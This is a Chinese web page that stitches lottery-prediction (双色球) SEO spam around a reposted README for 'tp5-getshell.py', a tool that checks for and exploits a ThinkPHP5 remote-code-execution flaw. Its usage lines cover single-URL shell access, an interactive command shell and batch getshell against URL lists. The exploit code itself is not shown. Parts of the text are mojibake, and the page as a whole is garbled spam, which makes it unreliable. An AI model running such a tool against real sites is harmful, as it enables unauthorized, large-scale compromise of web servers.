双色球彩民乐预测 今晚双色球预测最准确号码预测 双色球开奖玩法说明 双色球中奖图片恶搞 双色球精准预测6十1玉玲珑 微信可以购买双色球吗 双色球走势图表近50期 双色球中奖方法 双色球开奖结果走势图全图 双色球连号组数怎么看 双色球开奖查询表 双色球选号技巧 双色球专家杀号360 双色球预测最准确专家 程远双色球预测分析

tp5-getshell.py - thinkphp5 rce漏洞检测工具

theLSA 2018-12-13 11:00:01

概述

控制器过滤不严导致rce,漏洞详情参考 thinkphp5 RCE漏洞重现及分析

快速开始

python tp5-getshell.py -h

单url检测£¨poc£©

使用4种poc检测

python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/

单url检测£¨getshell£©

使用3种exp进行getshell£¬遇到先成功的exp就停止£¬防止重复getshell

python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/ –exploit

单url检测£¨命令行shell模式£©

python tp5-getshell.py -u http://www.xxx.com/ –cmdshell

批量检测£¨getshell£©

使用3种exp进行getshell£¬遇到先成功的exp就停止£¬防止重复getshell

python tp5-getshell.py -f urls.txt -t 2 -s 10

反馈

博?#20572;?http://www.lsablog.com/
gmail: [email protected]
qq: [email protected]
issues: https://github.com/theLSA/tp5-getshell/issues



Ë«É«Çò°ÉÌù
双色球彩民乐预测 今晚双色球预测最准确号码预测 双色球开奖玩法说明 双色球中奖图片恶搞 双色球精准预测6十1玉玲珑 微信可以购买双色球吗 双色球走势图表近50期 双色球中奖方法 双色球开奖结果走势图全图 双色球连号组数怎么看 双色球开奖查询表 双色球选号技巧 双色球专家杀号360 双色球预测最准确专家 程远双色球预测分析